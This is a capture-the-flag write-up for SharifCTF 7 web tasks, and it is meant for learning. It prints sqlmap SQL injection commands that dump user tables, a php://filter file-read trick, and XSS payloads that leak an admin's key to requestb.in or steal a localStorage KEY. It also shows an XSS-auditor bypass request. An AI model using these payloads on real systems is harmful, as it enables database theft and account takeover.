SharifCTF 7 Web Writeup

Homepage:

http://ctf.sharif.edu/

Description:

Below you can find my solution for web tasks from SharifCTF 7.

Proof of Concept:

Poor Guy

Here we get simple online bookstore.

Vulnerability exist inside Select a book functionality.

As we can read from hint:

$input_escaped = str_replace("'","\'",$user_input);

So we need to use payload like \' which after replace looks like: \\'.

sqlmap.py -u http://ctf.sharif.edu:8086/ --method=POST --data="book_selection=a" --cookie="PHPSESSID=my_sess_id" --prefix="9780060878849\'" --technique B --dbms=MySQL --risk=3 --string covers -D book_shop -T books -C book_serial --dump

After a while:

Database: book_shop
Table: books
[4 entries]
+---------------------------------------------+
| book_serial                                 |
+---------------------------------------------+
| 123456                                      |
| 239rj2if3r23re                              |
| 7890                                        |
| SharifCTF{931b20ec7700a61e5d280888662757af} |
+---------------------------------------------+

Irish Home

Here I get news website with login functionality.

When I use simple SQL Injection payload " or 1=1 -- a inside username field, SQL injection detected message appears.

First, I was trying to bypass this filtering, but after a while I realise that whatever payload I use, I get this message.

It looks like each time when SQL statement returns one result but password is invalid, this message is displayed to user.

So I use this for boolean-based blind SQL Injection:

sqlmap.py -u http://ctf.sharif.edu:8082/login.php --method=POST --data="username=a&password=b" -p username --technique=B --string injection --dbms=MySQL --risk=3 -D irish_home -T users --dump --prefix="aa\""

Now we have valid credentials:

Database: irish_home
Table: users
[1 entry]
+----+----------------------+------------+----------------------------------+
| id | name                 | username   | password                         |
+----+----------------------+------------+----------------------------------+
| 1  | C\?c3\?ba Chulainn | Cuchulainn | 2a7da9c@088ba43a_9c1b4Xbyd231eb9 |
+----+----------------------+------------+----------------------------------+

Inside admin panel we can display, edit and delete pages using: http://ctf.sharif.edu:8082/pages/show.php?page=blog

From task description we know that we need to recover the deleted flag.

So I try LFI on delete functionality: http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/convert.base64-encode/resource=../delete

<?php
require_once('header.php');

/*
if(isset($_GET['page'])) {
    $fname = $_GET['page'] . ".php";
    $fpath = "pages/$fname";
    if(file_exists($fpath)) {
        rename($fpath, "deleted_3d5d9c1910e7c7/$fname");
    }
}
*/

?>
<div style="text-align: center;">
<h3 style="color: red;">Site is under maintenance 'til de end av dis f$#!*^% SharifCTF.</h3><br/>
<h4><b>Al' destructive acshuns are disabled!</b></h4>
</div>
<?php
require_once('footer.php');
?>

Now I know where deleted flag is stored: http://ctf.sharif.edu:8082/pages/show.php?page=php://filter/convert.base64-encode/resource=../deleted_3d5d9c1910e7c7/flag

<?php
$username = 'Cuchulainn';
// Here we need to put password from SQL Injection
$password = '2a7da9c@088ba43a_9c1b4Xbyd231eb9';

$salt = 'd34340968a99292fb5665e';

$tmp = $username . $password . $salt;
$tmp = md5($tmp);

$flag = "SharifCTF{" . $tmp . "}";

echo $flag;
?>

As bonus, main page looks like:

<?php

session_start();

if (!empty($_SESSION['logged_in']))
	header('Location: /index.php');

require_once('header.php');

$text = "That account doesn't seem to exist";

if($_SERVER['REQUEST_METHOD'] == 'POST')
{
	if(!empty($_POST['username']) && !empty($_POST['password'])) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strpos($password, '"') !== false)
			$text = "SQL injection detected";
		else {
			$servername = "localhost";
			$db_username = "irish_user";
			$db_password = "3d2f27921e2c13e7b66e7b486b0feae3dde1ef25";
			$dbname = "irish_home";

			$conn = new mysqli($servername, $db_username, $db_password, $dbname);
			if ($conn->connect_error) {
				die("Connection failed: " . $conn->connect_error);
			}

			$sql = "SELECT * FROM users where username=\"$username\" and BINARY password=\"$password\"";

			$result = $conn->query($sql);

			if (!$result)
				trigger_error('Invalid query: ' . $conn->error);

			if ($result->num_rows > 0) {
				if(strpos($username, '"') !== false)
					$text = "SQL injection detected";
				else {
					$_SESSION['logged_in'] = $username;
					header('Location: /admin.php');
				}
			}
			$conn->close();
		}
	}
		echo "<ul class=\"messages\"><li class=\"error\">$text</li></ul>";
}
?>

				<form action="/login.php" method="POST">
					<div class="mdl-textfield mdl-js-textfield">
						<input class="mdl-textfield__input" type="text" id="username" name="username">
						<label class="mdl-textfield__label" for="username">Username</label>
					</div><br/>
					<div class="mdl-textfield mdl-js-textfield">
						<input class="mdl-textfield__input" type="password" id="password" name="password">
						<label class="mdl-textfield__label" for="password">Password</label>
					</div><br/>
					<div style="text-align: center;" class="mdl-textfield mdl-js-textfield">
						<button class="btn waves-effect waves-light" type="submit">Submit</button>
					</div>
				</form>

<?php
require_once('footer.php');<?php

if(!isset($_SESSION))
	session_start();

if (empty($_SESSION['logged_in'])) {
	header('Location: /login.php');
}

require_once('header.php');

?>

<table>
	<tr>
		<td>Page</td>
		<td>Actions</td>
	</tr>

<?php
	$path = 'pages/';
	
	$files = scandir($path);
	foreach ($files as $file) {
		if(substr($file, -4) != ".php")
			continue;
		if( file_exists('pages/' . $file) && !is_dir('pages/' . $file)){
			if ( $file!="show.php" && $file!="delete.php"){
			$filename = basename($file, ".php");
			echo "\t<tr>\n";
		   	echo "\t\t<td><a href=\"pages/show.php?page=$filename\">$filename</a></td>\n";
		 	echo "\t\t<td>
		 		<a style=\"color: red\" class=\"material-icons\" href=\"delete.php?page=$filename\">delete</a>
		 		<a style=\"color: green\" class=\"material-icons\" href=\"edit.php?page=$filename\">edit</a>
	 		</td>\n";
		  }
		}
		
	}

?>
</table>
<?php
require_once('footer.php');
?>

JikJik

This one is simple chat which is moderated by admin.

So I use XSS payload inside description field: <img src="http://requestb.in/your_id">

After a while I get:

Accept: */*
Connection: close
Connect-Time: 0
Accept-Language: en-US,*
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Total-Route-Time: 0
Referer: http://192.168.101.58:8085/last/?key=456b7016a916a4b178dd72b947c152b7
Cf-Ray: 3129ae0750b364db-FRA
Cf-Visitor: {"scheme":"http"}
Via: 1.1 vegur
Cf-Ipcountry: IR
X-Request-Id: c6563a03-9845-40d6-93ff-d3c047cbc041
Cf-Connecting-Ip: 213.233.175.130
Host: requestb.in

So I visit http://ctf.sharif.edu:8085/last/?key=456b7016a916a4b178dd72b947c152b7 which is obtained from Referer field.

Now we are logged as Admin.

When I go back to home page, SharifCTF{226b7016a916a4b178dd72b947c15222} flag was displayed as chat message.

cbpm

It’s time for cloud-based service password manager.

Idea is simple. When you create new account, random KEY is stored inside browser local storage.

Then this KEY is encrypted using AES CBC with user inputed MASTER PASSWORD and send back to the cloud.

Each password stored inside cloud is encrypted using KEY ass passphrase.

When user is trying to login, encrypted KEY is downloaded from cloud.

Then this key is decrypted using MASTER PASSWORD.

If everything goes well we can decrypt any of our stored passwords using decrypted KEY.

So it’s impossible to decrypt any stored passwords without knowing valid key.

But we can download any encrypted KEY and encrypted password for any user.

Also there is Post Feedback functionality.

After simple check I know that its vulnerable to XSS.

From task description I know that: The admin uses this service too.

So I try simple XSS payload: <img src="http://requestb.in/your_id">

But without luck.

Then I start thinking about second part of the task description: By the way, admin protects its machine with a strong and restrictive firewall

Maybe admin can visit only cloud website?

Knowing that I create different payload which uses adding new password functionality as method of storing user output:

<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "/put.php");
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({id:"your_team_id", prelabel:"", "newlabel": localStorage.getItem('KEY'), "encpass": "02ed7dff48e11c2a49f655ae1eb1d952", iv:"128bd85c6e4b9ac8616cfbdd2a3dca6a"}));
</script>

Then, I login as admin user.

After I while, new stored password MWswRzltYVJBTHF2WEluYTNQQ3BkNmNDNmZsNnJBOUE= appears.

I set it as KEY inside browser local storage and then display flag content: SharifCTF{eyJ0IjoiNjk5In0uQ3phaGhnLl9zSks3UzJzNWhBQmpVYkxFNjE2d3Z1T3R5bw==}.

Extra Security

Task description:

You can sign any desired content using this extra secure signing service.
You can even ask the admin to sign your content! And you know he uses Chrome to browse the web.

In order to get flag we need to persuade admin to sign 699 message.

First I try to sign example message: wait_and_real_sign.php?content=699&id=my_team_id, but I get error: Sorry, server is busy for a while!.

Page source:

<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta http-equiv="x-ua-compatible" content="ie=edge">

    <title>ExtraSecure - Wait & Sign</title>
    <link href="css/bootstrap.min.css" rel="stylesheet">
    <script src="js/index.js"></script>
    <script src="js/cookie.js"></script>
    <script>
        alert("Sorry, server is busy for a while!");
        document.location = "/index.php?id=team_id";
    </script>
</head>
<body>
<div class="container">
    <div class="card">
        <h1 class="card-header">Signing in <i id="time">10</i> seconds...</h1>
        <p class="card-block">Please be patient... The content will be signed with your key soon and you will be
            redirected to the <i>list</i> page to view the results.</p>
    </div>
</div>
<script>
    var timeElem = document.getElementById('time');
    waitSeconds(timeElem, function () {
        var c = parse(document.cookie || '');
        var key = c['KEY'];
        var body = {
            //content: base64Decode("Njk5"),
            content: "Njk5",
            key: key,
            id: 'team_id'
        };
        postForm('/sign_and_store.php', body);
    });
</script>
</body>
</html>

So I (and admin too) cannot sign request because first <script> tag is always executed before postForm() function and it redirects me (or admin) to index.php.

From task description I know that admin uses Google Chrome.

So probably task is about bypassing XSS auditor.

I saw similar idea in the past, see 0CTF 2016 GuestBook 1 Writeup.

Basically, if we pass string <script>alert("Sorry, server is busy for a while!"); inside URL, XSS auditor thinks that it’s part of XSS attack and disable execution of this JavaSript code.

So if we want to sign test message: http://ctf.sharif.edu:8083/wait_and_real_sign.php?id=my_team_id&content=699&sth=<script>alert("Sorry, server is busy for a while!");

Using this technique we can send request to admin:

POST /request.php HTTP/1.1
Host: ctf.sharif.edu:8083
Content-Length: 318
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close

content=699&id=my_team_id&url=http%3A%2F%2Fctf.sharif.edu%3A8083%2Fwait_and_real_sign.php%3Fid%3Dmy_team_id%26content%3D699%26sth%3d%3Cscript%3Ealert%28%22Sorry%2C+server+is+busy+for+a+while%21%22%29%3B

Timeline: